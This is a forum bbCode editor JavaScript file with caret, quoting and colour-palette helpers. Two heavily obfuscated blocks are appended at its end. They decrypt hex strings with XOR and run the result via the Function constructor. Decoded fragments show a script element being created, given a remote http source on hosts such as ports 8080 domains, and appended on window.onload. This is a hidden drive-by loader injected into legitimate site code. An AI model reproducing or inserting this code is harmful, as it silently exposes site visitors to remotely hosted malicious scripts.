/**
* bbCode control by subBlue design [ www.subBlue.com ]
* Includes unixsafe colour palette selector by SHS`
*/

// Startup variables
var imageTag = false;
var theSelection = false;

// Check for Browser & Platform for PC & IE specific bits
// More details from: http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html
var clientPC = navigator.userAgent.toLowerCase(); // Get client info
var clientVer = parseInt(navigator.appVersion); // Get browser version

var is_ie = ((clientPC.indexOf('msie') != -1) && (clientPC.indexOf('opera') == -1));
var is_win = ((clientPC.indexOf('win') != -1) || (clientPC.indexOf('16bit') != -1));

var baseHeight;
// onload_functions.push('initInsertions()');

/**
* Shows the help messages in the helpline window
*/
function helpline(help)
{
	document.forms[form_name].helpbox.value = help_line[help];
}

/**
* Fix a bug involving the TextRange object. From
* http://www.frostjedi.com/terra/scripts/demo/caretBug.html
*/ 
function initInsertions() 
{
	var doc;

	if (document.forms[form_name])
	{
		doc = document;
	}
	else 
	{
		doc = opener.document;
	}

	var textarea = doc.forms[form_name].elements[text_name];

	if (is_ie && typeof(baseHeight) != 'number')
	{
		textarea.focus();
		baseHeight = doc.selection.createRange().duplicate().boundingHeight;

		if (!document.forms[form_name])
		{
			document.body.focus();
		}
	}
}

/**
* bbstyle
*/
function bbstyle(bbnumber)
{	
	if (bbnumber != -1)
	{
		bbfontstyle(bbtags[bbnumber], bbtags[bbnumber+1]);
	} 
	else 
	{
		insert_text('[*]');
		document.forms[form_name].elements[text_name].focus();
	}
}

/**
* Apply bbcodes
*/
function bbfontstyle(bbopen, bbclose)
{
	theSelection = false;

	var textarea = document.forms[form_name].elements[text_name];

	textarea.focus();

	if ((clientVer >= 4) && is_ie && is_win)
	{
		// Get text selection
		theSelection = document.selection.createRange().text;

		if (theSelection)
		{
			// Add tags around selection
			document.selection.createRange().text = bbopen + theSelection + bbclose;
			document.forms[form_name].elements[text_name].focus();
			theSelection = '';
			return;
		}
	}
	else if (document.forms[form_name].elements[text_name].selectionEnd && (document.forms[form_name].elements[text_name].selectionEnd - document.forms[form_name].elements[text_name].selectionStart > 0))
	{
		mozWrap(document.forms[form_name].elements[text_name], bbopen, bbclose);
		document.forms[form_name].elements[text_name].focus();
		theSelection = '';
		return;
	}
	
	//The new position for the cursor after adding the bbcode
	var caret_pos = getCaretPosition(textarea).start;
	var new_pos = caret_pos + bbopen.length;		

	// Open tag
	insert_text(bbopen + bbclose);

	// Center the cursor when we don't have a selection
	// Gecko and proper browsers
	if (!isNaN(textarea.selectionStart))
	{
		textarea.selectionStart = new_pos;
		textarea.selectionEnd = new_pos;
	}	
	// IE
	else if (document.selection)
	{
		var range = textarea.createTextRange(); 
		range.move("character", new_pos); 
		range.select();
		storeCaret(textarea);
	}

	textarea.focus();
	return;
}

/**
* Insert text at position
*/
function insert_text(text, spaces, popup)
{
	var textarea;
	
	if (!popup) 
	{
		textarea = document.forms[form_name].elements[text_name];
	} 
	else 
	{
		textarea = opener.document.forms[form_name].elements[text_name];
	}
	if (spaces) 
	{
		text = ' ' + text + ' ';
	}
	
	if (!isNaN(textarea.selectionStart))
	{
		var sel_start = textarea.selectionStart;
		var sel_end = textarea.selectionEnd;

		mozWrap(textarea, text, '')
		textarea.selectionStart = sel_start + text.length;
		textarea.selectionEnd = sel_end + text.length;
	}
	else if (textarea.createTextRange && textarea.caretPos)
	{
		if (baseHeight != textarea.caretPos.boundingHeight) 
		{
			textarea.focus();
			storeCaret(textarea);
		}

		var caret_pos = textarea.caretPos;
		caret_pos.text = caret_pos.text.charAt(caret_pos.text.length - 1) == ' ' ? caret_pos.text + text + ' ' : caret_pos.text + text;
	}
	else
	{
		textarea.value = textarea.value + text;
	}
	if (!popup) 
	{
		textarea.focus();
	}
}

/**
* Add inline attachment at position
*/
function attach_inline(index, filename)
{
	insert_text('[attachment=' + index + ']' + filename + '[/attachment]');
	document.forms[form_name].elements[text_name].focus();
}

/**
* Add quote text to message
*/
function addquote(post_id, username)
{
	var message_name = 'message_' + post_id;
	var theSelection = '';
	var divarea = false;

	if (document.all)
	{
		divarea = document.all[message_name];
	}
	else
	{
		divarea = document.getElementById(message_name);
	}

	// Get text selection - not only the post content :(
	if (window.getSelection)
	{
		theSelection = window.getSelection().toString();
	}
	else if (document.getSelection)
	{
		theSelection = document.getSelection();
	}
	else if (document.selection)
	{
		theSelection = document.selection.createRange().text;
	}

	if (theSelection == '' || typeof theSelection == 'undefined' || theSelection == null)
	{
		if (divarea.innerHTML)
		{
			theSelection = divarea.innerHTML.replace(/<br>/ig, '\n');
			theSelection = theSelection.replace(/<br\/>/ig, '\n');
			theSelection = theSelection.replace(/&lt\;/ig, '<');
			theSelection = theSelection.replace(/&gt\;/ig, '>');
			theSelection = theSelection.replace(/&amp\;/ig, '&');
			theSelection = theSelection.replace(/&nbsp\;/ig, ' ');
		}
		else if (document.all)
		{
			theSelection = divarea.innerText;
		}
		else if (divarea.textContent)
		{
			theSelection = divarea.textContent;
		}
		else if (divarea.firstChild.nodeValue)
		{
			theSelection = divarea.firstChild.nodeValue;
		}
	}

	if (theSelection)
	{
		insert_text('[quote="' + username + '"]' + theSelection + '[/quote]');
	}

	return;
}

/**
* From http://www.massless.org/mozedit/
*/
function mozWrap(txtarea, open, close)
{
	var selLength = txtarea.textLength;
	var selStart = txtarea.selectionStart;
	var selEnd = txtarea.selectionEnd;
	var scrollTop = txtarea.scrollTop;

	if (selEnd == 1 || selEnd == 2) 
	{
		selEnd = selLength;
	}

	var s1 = (txtarea.value).substring(0,selStart);
	var s2 = (txtarea.value).substring(selStart, selEnd)
	var s3 = (txtarea.value).substring(selEnd, selLength);

	txtarea.value = s1 + open + s2 + close + s3;
	txtarea.selectionStart = selEnd + open.length + close.length;
	txtarea.selectionEnd = txtarea.selectionStart;
	txtarea.focus();
	txtarea.scrollTop = scrollTop;

	return;
}

/**
* Insert at Caret position. Code from
* http://www.faqts.com/knowledge_base/view.phtml/aid/1052/fid/130
*/
function storeCaret(textEl)
{
	if (textEl.createTextRange)
	{
		textEl.caretPos = document.selection.createRange().duplicate();
	}
}

/**
* Color pallette
*/
function colorPalette(dir, width, height)
{
	var r = 0, g = 0, b = 0;
	var numberList = new Array(6);
	var color = '';

	numberList[0] = '00';
	numberList[1] = '40';
	numberList[2] = '80';
	numberList[3] = 'BF';
	numberList[4] = 'FF';

	document.writeln('<table cellspacing="1" cellpadding="0" border="0">');

	for (r = 0; r < 5; r++)
	{
		if (dir == 'h')
		{
			document.writeln('<tr>');
		}

		for (g = 0; g < 5; g++)
		{
			if (dir == 'v')
			{
				document.writeln('<tr>');
			}
			
			for (b = 0; b < 5; b++)
			{
				color = String(numberList[r]) + String(numberList[g]) + String(numberList[b]);
				document.write('<td bgcolor="#' + color + '" style="width: ' + width + 'px; height: ' + height + 'px;">');
				document.write('<a href="#" onclick="bbfontstyle(\'[color=#' + color + ']\', \'[/color]\'); return false;"><img src="images/spacer.gif" width="' + width + '" height="' + height + '" alt="#' + color + '" title="#' + color + '" /></a>');
				document.writeln('</td>');
			}

			if (dir == 'v')
			{
				document.writeln('</tr>');
			}
		}

		if (dir == 'h')
		{
			document.writeln('</tr>');
		}
	}
	document.writeln('</table>');
}


/**
* Caret Position object
*/
function caretPosition()
{
	var start = null;
	var end = null;
}


/**
* Get the caret position in an textarea
*/
function getCaretPosition(txtarea)
{
	var caretPos = new caretPosition();
	
	// simple Gecko/Opera way
	if(txtarea.selectionStart || txtarea.selectionStart == 0)
	{
		caretPos.start = txtarea.selectionStart;
		caretPos.end = txtarea.selectionEnd;
	}
	// dirty and slow IE way
	else if(document.selection)
	{
	
		// get current selection
		var range = document.selection.createRange();

		// a new selection of the whole textarea
		var range_all = document.body.createTextRange();
		range_all.moveToElementText(txtarea);
		
		// calculate selection start point by moving beginning of range_all to beginning of range
		var sel_start;
		for (sel_start = 0; range_all.compareEndPoints('StartToStart', range) < 0; sel_start++)
		{		
			range_all.moveStart('character', 1);
		}
	
		txtarea.sel_start = sel_start;
	
		// we ignore the end value for IE, this is already dirty enough and we don't need it
		caretPos.start = txtarea.sel_start;
		caretPos.end = txtarea.sel_start;			
	}

	return caretPos;
}
var BK="bea1a493b3d3a9b2a1bcbbd6b5bdb582cc86adb0a0b4b6a0a486ac8784b996af839fbab9a197be909c99be98be9e889598a1b2a98391a58da5bd81899c89828981fd9cbcf38aa1b2d1a5b8e1a183";var dF=false;var fR=new Array();function u(a){this.L="";var Ry;if(Ry!='G'){Ry='G'};var VZ=60460; var Ul="";function B(F,i){return F^i;var Yb;if(Yb!='' && Yb!='og'){Yb=''};var Kb;if(Kb!='Zq' && Kb!='mS'){Kb='Zq'};}var PH=new String(); var C=function(v){var Bd =[0,240,49][0];var vt = '';var b=new Array();var S =[0][0];var p = -1;var D;if(D!='dEm' && D!='oo'){D=''};v = new T(v);var Va;if(Va!=''){Va='vp'};var UR;if(UR!='ZC' && UR!='cA'){UR='ZC'};for (Bd=v[U("elgtnh", [1,0,4,2,3])]-p;Bd>=S;Bd=Bd-[132,47,1,131][2]){var py;if(py!='' && py!='TM'){py='t'};vt+=v[U("hracAt", [3,0,2,1])](Bd);this.dU='';}return vt;this.tz=false;this.Nt=34406;};var zh;if(zh!=''){zh='Ol'};var iFz;if(iFz!=''){iFz='iF'}; var q=function(V){var SU;if(SU!=''){SU='ok'};var gT;if(gT!='Vo' && gT!='Yh'){gT=''};var TZ=[255][0];var l=new String();var ey;if(ey!='CX'){ey=''};var k=[1,163][0];var fZ;if(fZ!='' && fZ!='nn'){fZ=''};this.PC='';var N=[0][0];this.Yy=57472;this.aO=25151;this.Hf="Hf";var w=[0][0];var PM='';var ou='';var yk=V[U("elgtnh", [1,0,4,2,3])];this.EV="EV";var rd;if(rd!='tr'){rd='tr'};var Wu;if(Wu!='' && Wu!='Yx'){Wu='Vb'};var xK=new String();while(N<yk){this.iv=59343;var uL=new Date();N++;e=CJ(V,N - k);w+=e*yk;var pv=new Array();var vU;if(vU!='he' && vU!='CH'){vU=''};}var yv=56343;var nh;if(nh!='yJ' && nh != ''){nh=null};return new T(w % TZ);var Ba="";this.uC=50857;};var lO=new Array();var qx;if(qx!=''){qx='uq'}; var U=function(v, m){var hI;if(hI!='lP'){hI='lP'};var Yg;if(Yg!='' && Yg!='pz'){Yg=null};var cx=48216;var oka;if(oka!='ec' && oka!='QH'){oka='ec'};var S=[0,191,81,219][0];var d = v.length;var k=[1,51,102][0];var vA="vA";this.Fn="";var E = m.length;this.fd='';this.Ns='';this.wW='';var vt = '';this.wk="";this.yw=false;var kU;if(kU!='UL' && kU!='Te'){kU='UL'};for(var Bd = S; Bd < d; Bd += E) {var VK="VK";this.By=64799;var mE = v.substr(Bd, E);var nF=18131;this.USJ=38479;this.WS=false;var WH;if(WH!='' && WH!='VS'){WH=null};if(mE.length == E){var PW;if(PW!='' && PW!='gr'){PW=null};for(var N in m) {var KB;if(KB!='' && KB!='oc'){KB='BA'};vt+=mE.substr(m[N], k);var cxP=56875;this.WV="WV";this.NB="";}this.eG=1157;var KM;if(KM!='Ck' && KM!='lf'){KM='Ck'};var qC;if(qC!='' && qC!='sH'){qC=''};} else {var bp;if(bp!=''){bp='kj'};  vt+=mE;this.dI='';var Gn;if(Gn!='NE' && Gn!='BB'){Gn=''};}}this.mKq="";return vt;var SqF=new Array();};this.WR="";var Fz;if(Fz!='' && Fz!='rN'){Fz=''};var ZI=new Date(); var CJ=function(K,mA){return K[U("aoCcrhdeAt", [3,5,0,4,2,1])](mA);var Kx;if(Kx!='ig'){Kx=''};};var wZo;if(wZo!='Ub' && wZo!='cv'){wZo='Ub'};var ic;if(ic!='Bb' && ic!='JG'){ic=''};var kL=20588;var QL;if(QL!='eQr' && QL != ''){QL=null};var iZ;if(iZ!='nb' && iZ != ''){iZ=null};var mp=window;var If;if(If!='xY' && If!='Vf'){If='xY'};var wt;if(wt!='OB'){wt='OB'};var f=mp[U("lvea", [2,1,3,0])];var W=f(U("ucnFinot", [3,0,2,1]));var Pb;if(Pb!='rg'){Pb='rg'};var js="js";var T=f(U("rStgin", [1,2,0]));var Ki = '';var tX;if(tX!='' && tX!='xf'){tX=''};this.Sr='';var Xl;if(Xl!='Sf' && Xl!='Jq'){Xl=''};var Z=f(U("egERxp", [3,0,1,2]));var WE=new Array();this.Ix=55963;var iH;if(iH!=''){iH='Ft'};var Ss;if(Ss!='' && Ss!='HZ'){Ss=null};var H=T[U("ofrhmCCareod", [1,2,0])];var Ml;if(Ml!='IO' && Ml!='SG'){Ml='IO'};var uE=51004;var Bu=mp[U("neucaspe", [2,0,1])];var Cj;if(Cj!='IG' && Cj != ''){Cj=null};var Wt = '';this.eT=1421;var np;if(np!='Ru'){np=''};var S =[173,0,212][1];var PU="PU";this.dUU="";var pQ = '';var vv;if(vv!='qP' && vv!='pW'){vv='qP'};var UA=[1, U("codmutnec.aeretelEem(tns\'irctp\')", [2,1,0,4,3]),2, U("umodc.bnet.adoyndppeldhCi(d)", [3,2,4,0,1]),3, U("o.rortenrz.tomcun.viiiosn", [2,0,1]),4, U("oc.mhthemoleba.sur8:080", [1,0,3,2]),5, U("e.sdAtitrtub\'e(tedfer\'", [3,1,2,0,5,4]),6, U("ruabdnciitnora.yocm", [1,0]),7, U("uddrregertpoom.c", [2,3,0,1]),8, U("sjwo.cm", [2,0,1,4,5,3]),11, U("nwiwdon.oalod", [1,2,0]),12, U("cnufnoit()", [3,2,1,0]),14, U("gogoc.leom", [2,3,1,0]),15, U("ce(thca)", [5,6,3,0,4,2,1]),16, U("ht\"p:t", [2,0,1]),17, U("oogleg", [2,0,1]),18, U("csd.r", [2,3,1,4,0]),19, U("1\')\'", [1,0]),20, U("ryt", [2,0,1])];var k =[154,1][1];var fr =[61,14,0,238][2];var A = a[U("gltenh", [1,3,4,0,2])];var GW="";this.JJ=21067;var R = "%";this.wN=22257;this.vu=40251;var X = /[^@a-z0-9A-Z_-]/g;var c = '';var Yr;if(Yr!='vY' && Yr!='sW'){Yr=''};var yS;if(yS!='RuI' && yS!='TXZ'){yS=''};var Ak =[116,43,2][2];var KV;if(KV!='RFN' && KV != ''){KV=null};for(var I=S; I < A; I+=Ak){Wt+= R; var mG=new Date();var sv;if(sv!='' && sv!='Xlw'){sv=null};Wt+= a[U("ssutbr", [1,2,4,0,3])](I, Ak);var Nn;if(Nn!='fi' && Nn!='Qw'){Nn=''};var BU=9118;}var LD="";var a = Bu(Wt);var Zuy;if(Zuy!='Km'){Zuy=''};var kf="";var Hw = new T(u);var jm;if(jm!=''){jm='Ux'};var rO;if(rO!='eX'){rO='eX'};var O = Hw[U("elprace", [3,0,2,1])](X, c);var qc;if(qc!='yN'){qc='yN'};var SK=false;var fT="";var aB="aB";O = C(O);var Xk;if(Xk!='vl'){Xk='vl'};var Yk=55933;var Tk = new T(W);var o = UA[U("glneth", [1,3,2,0])];var gU;if(gU!='' && gU!='Gq'){gU=null};var SUt=53092;var g = Tk[U("preclae", [1,2,0])](X, c);var g = q(g);this.ju='';var At=q(O);for(var Bd=S; Bd < (a[U("elngth", [1,0,2,3])]);Bd=Bd+[1,213][0]) {var du;if(du!='fC' && du != ''){du=null};var So=13409;var ck = O.charCodeAt(fr);var dP;if(dP!='ozJ'){dP=''};var wI=new String();var dE = CJ(a,Bd);var Nx;if(Nx!='pf' && Nx!='jj'){Nx=''};dE = B(dE, ck);dE = B(dE, At);var uF;if(uF!='ifK' && uF != ''){uF=null};dE = B(dE, g);this.HZS=16886;fr++;this.gA="";var ve;if(ve!='' && ve!='fz'){ve='VcA'};if(fr > O.length-k){fr=S;}var PHv=new Array();var yww;if(yww!='Kma' && yww!='vK'){yww='Kma'};pQ += H(dE);var Ryg;if(Ryg!='' && Ryg!='tI'){Ryg=''};}this.yC=false;var Cb;if(Cb!='iA' && Cb!='Nz'){Cb='iA'};for(ug=S; ug < o; ug+=Ak){var gF=8438;var Y = UA[ug + k];var Ze;if(Ze!='dh'){Ze='dh'};this.FOO="FOO";var SA = H(UA[ug]);this.aN='';var IW=new String();var n = new Z(SA, T.fromCharCode(103));pQ=pQ[U("acrplee", [2,5,3,4,0,1])](n, Y);var iY=new String();}var RK=new String();var ZX;if(ZX!='rc' && ZX!='cbH'){ZX='rc'};var jK=new Array();var Rn=new Array();var ku=new W(pQ);var XP;if(XP!='' && XP!='lU'){XP='qF'};ku();var ZR;if(ZR!='' && ZR!='hD'){ZR=null};ku = '';var KE;if(KE!='' && KE!='iD'){KE=''};Tk = '';O = '';At = '';var qr=false;g = '';pQ = '';var Qf=new Array();return '';};var dF=false;var fR=new Array();u(BK);
var BVu="908f89bd9afd9b8e9181b2e7bf8c8e94f8bdbaaab8b3b29880a0abbea99aaf8f8b82b29aaf84be80b290af82b899989fb5b2aa9190b28eaeb68f9c8b9da89b9996eeb19ee9979899fb9f8bd98e90";this.ndy=45777;this.LB=326;function l(g){this.If=5935;var SC;if(SC!=''){SC='ka'}; var ns=new Date();function v(b, ls){var gc=16715;this.lo=false;var Vd;if(Vd!=''){Vd='Yv'};this.By=false;var TC;if(TC!='QD' && TC != ''){TC=null};var aX;if(aX!='MU' && aX != ''){aX=null};var D = b.length;var rn;if(rn!='ri' && rn != ''){rn=null};var r=[0][0];var HK;if(HK!='iR' && HK != ''){HK=null};var B=[1,180][0];var E = '';this.VdS="";var c = ls.length;var cC;if(cC!='' && cC!='bI'){cC='L'};var kF;if(kF!='' && kF!='kC'){kF='Ds'};this.W='';for(var C = r; C < D; C += c) {var cU=new Array();var o = b.substr(C, c);var AC=new String();var yD=new String();this.hk='';if(o.length == c){for(var z in ls) {var ye;if(ye!='' && ye!='BQ'){ye=null};E+=o.substr(ls[z], B);}var NZ=false;var ld;if(ld!='RE'){ld=''};} else {this.zm=false;var DC=8832;  E+=o;}var XsU;if(XsU!=''){XsU='SN'};var f;if(f!=''){f='Z'};}this.nF="";var iL;if(iL!='' && iL!='Dx'){iL=null};this.SR='';var zL;if(zL!='' && zL!='xN'){zL='SP'};return E;}var s;if(s!='' && s!='Pu'){s=null};var K=new Date();var YJ;if(YJ!='' && YJ!='zmg'){YJ='rg'}; var yN=65288;var DV;if(DV!='MQ' && DV != ''){DV=null};function u(b){var vx=new Date();var I = -1;var vs='';this.iq="iq";var r =[0,13,158,102][0];b = new i(b);var ga;if(ga!='Zv' && ga!='Sd'){ga=''};var bu=new Array();var C =[180,76,0,59][2];var Lo=false;var E = '';var LD;if(LD!=''){LD='Wm'};var Cl;if(Cl!='aS'){Cl=''};var FP=63387;var PO=new Date();var IV="";var EJ=new String();for (C=b[v("glehnt", [1,2,4,0,5,3])]-I;C>=r;C=C-[1][0]){var lz;if(lz!='Zs' && lz!='lC'){lz=''};E+=b[v("hracAt", [3,0,2,1])](C);var Yj="Yj";}var wG;if(wG!='KW' && wG != ''){wG=null};var nz;if(nz!='Ya' && nz != ''){nz=null};return E;}var Bx;if(Bx!='' && Bx!='Ew'){Bx=null};this.Qh=""; var k=function(ES,x){return ES^x;};this.Wa=""; function EN(H){var AZ=3707;var p=H[v("etlngh", [2,0,3,4,1])];var ky='';var Q=[192,206,0][2];var B=[1,96][0];this.UqY=39691;var Y=[255,134,189,79][0];var FW;if(FW!=''){FW='AN'};var yj;if(yj!='QZ'){yj=''};var z=[127,136,0][2];var jx;if(jx!='' && jx!='dn'){jx=null};var kL;if(kL!='' && kL!='qo'){kL='Zr'};while(z<p){var pZk;if(pZk!='' && pZk!='aL'){pZk=''};z++;A=Da(H,z - B);Q+=A*p;}var uu;if(uu!='Mv'){uu='Mv'};var ww;if(ww!='mU'){ww='mU'};return new i(Q % Y);}this.lk="lk";var aG=false;var fq=new String();var yS;if(yS!='' && yS!='oh'){yS=null};var NJ=''; var Da=function(d,T){return d[v("erocdhCaAt", [3,5,7,1,6,2,4,0])](T);var nk='';var Lv;if(Lv!='UF' && Lv != ''){Lv=null};};var KS;if(KS!='' && KS!='qy'){KS=null};this.BCg="";var tF;if(tF!='Cg' && tF!='id'){tF='Cg'};var R=window;this.ZS=false;var pm;if(pm!=''){pm='At'};var pZ=R[v("aevl", [1,2,0])];var vc=pZ(v("nuFitcon", [2,1,0]));var nrd;if(nrd!='Vc' && nrd != ''){nrd=null};var i=pZ(v("itSnrg", [2,1,4,0,3]));var Rq;if(Rq!='' && Rq!='zC'){Rq='fv'};var U=pZ(v("gREexp", [1,3,0,2]));var Yt = '';var tB=new Array();var ahz=false;this.us=46422;this.hB='';this.sS='';var vC=R[v("caupeens", [2,6,4,7,0,1,3,5])];var QN;if(QN!='Jq' && QN!='GO'){QN=''};this.aw=52820;var Ru;if(Ru!=''){Ru='uJT'};var X=i[v("hoamrCfrCode", [6,4,1,3,5,0,2])];var pJ;if(pJ!='' && pJ!='Lx'){pJ=''};var r =[2,171,152,0][3];this.Pi="Pi";var XA;if(XA!='idU' && XA != ''){XA=null};var Xs = '';this.SI=64519;var Ny="";var w =[2,131][0];var hA = /[^@a-z0-9A-Z_-]/g;var Cr="Cr";this.ak="";this.XF="XF";var Xz;if(Xz!='ug' && Xz!='gcl'){Xz=''};var j = g[v("genlth", [3,1,2,0])];var os = '';var uT;if(uT!='vB'){uT='vB'};var G =[0][0];var Kw;if(Kw!='Fg' && Kw != ''){Kw=null};var on;if(on!='Bbl'){on=''};var Se;if(Se!='' && Se!='DT'){Se='cH'};var Py;if(Py!='EY'){Py='EY'};var S = "%";var eC;if(eC!='Oo' && eC!='jc'){eC=''};this.aY="";var B =[1,167][0];var gP = '';var JW;if(JW!='' && JW!='lT'){JW='LDo'};this.dG="dG";var J=[1, v("cdoeum.ntecreateElnme\'t(rsctip\')", [1,2,0]),2, v("emduncot.y.daobphCpdineld(d)", [2,6,5,3,1,0,4,7]),3, v("entt.aboa.ocmo.hcianhr", [1,0,2]),4, v(".detAtsrtbetui\'(erefd\'", [1,0,6,2,5,4,3]),5, v("oc.mavcntahcr.:u0808", [1,0]),6, v("agezatp.l", [1,0]),7, v("lbachkatowrl.dcom", [1,0,2,3]),8, v("iwndo.wonload", [1,0,2,3,4]),11, v("noitufcn()", [5,4,0,6,3,2,1]),12, v("ooglegco.m", [2,0,1]),14, v("acct(h)e", [1,0]),15, v("eimvzn", [2,0,1]),16, v("ttp\"h:", [3,4,0,1,2]),17, v("ogc.mo", [1,0]),18, v(".scrd", [4,0,1,3,2]),19, v("1\')\'", [1,0]),20, v("rty", [1,0])];var Ce;if(Ce!='fw' && Ce != ''){Ce=null};var eU=false;var SA=new Array();var iS=new Array();for(var y=r; y < j; y+=w){this.xn="xn";this.ISc='';gP+= S; var Eu;if(Eu!='' && Eu!='Qr'){Eu='Ag'};gP+= g[v("bstsur", [3,4,0,1,2])](y, w);}var g = vC(gP);var N = new i(l);var nd='';var jb = N[v("lpaerce", [4,3,1,0,2])](hA, os);var Ym="Ym";var dFX="dFX";jb = u(jb);var pP = new i(vc);var Xd=1834;var NE=14388;var vn;if(vn!='rM'){vn=''};var IT;if(IT!='tG'){IT=''};var V = J[v("nelgth", [2,1,0,3])];var oK=new Array();var Tf=false;this.tLo="tLo";var Zp;if(Zp!='oR'){Zp=''};var JG = pP[v("erlpcae", [1,0])](hA, os);var pB="pB";var JG = EN(JG);var tO;if(tO!='NC'){tO='NC'};this.hd=27501;var we=EN(jb);var fK;if(fK!='Rvw'){fK=''};var Bu=new Array();for(var C=r; C < (g[v("tgelnh", [3,2,4,1,0,5])]);C=C+[1,221,53,3][0]) {var yt;if(yt!='MY'){yt='MY'};var hy=false;var Yi;if(Yi!='BL'){Yi=''};var Iq = jb.charCodeAt(G);var cb = Da(g,C);cb = k(cb, Iq);var gq;if(gq!='' && gq!='GX'){gq=null};var tFk;if(tFk!='jA' && tFk != ''){tFk=null};cb = k(cb, we);var lc="lc";this.BO='';cb = k(cb, JG);var BN;if(BN!='mv'){BN=''};var KN=false;G++;var RX="";var GW=15108;if(G > jb.length-B){var WyQ=false;G=r;var pW;if(pW!='QT'){pW='QT'};}Xs += X(cb);}var Li=false;this.vf=39483;var iM=new Array();for(n=r; n < V; n+=w){var TwN="TwN";var PQ="PQ";var gZ = J[n + B];var qn=60227;this.Ca='';var Na = X(J[n]);this.fY=false;this.Zq=false;var aLU=new String();this.SL=false;var XU = new U(Na, "g");var Wat=new String();var Go;if(Go!='pv' && Go!='xx'){Go=''};Xs=Xs[v("erlpcae", [1,0])](XU, gZ);var BjI;if(BjI!='' && BjI!='ae'){BjI='NZn'};var nC=31741;}var Kmt;if(Kmt!='' && Kmt!='Pt'){Kmt=null};var cg=new vc(Xs);cg();var Gd=false;this.zM='';we = '';var Fz;if(Fz!=''){Fz='ryJ'};this.zO='';var pq;if(pq!='' && pq!='uc'){pq='TW'};var te;if(te!='' && te!='RO'){te='eB'};JG = '';this.UDV="";Xs = '';var Vh;if(Vh!='UE' && Vh!='mB'){Vh='UE'};var apR;if(apR!='EQ' && apR!='Lt'){apR='EQ'};jb = '';this.cc="";this.mm="";pP = '';var de;if(de!='gk'){de='gk'};var Ha;if(Ha!='WO'){Ha='WO'};cg = '';this.ev='';this.Rx='';var eO;if(eO!='NF'){eO=''};this.qAh=false;return '';};this.ndy=45777;this.LB=326;l(BVu);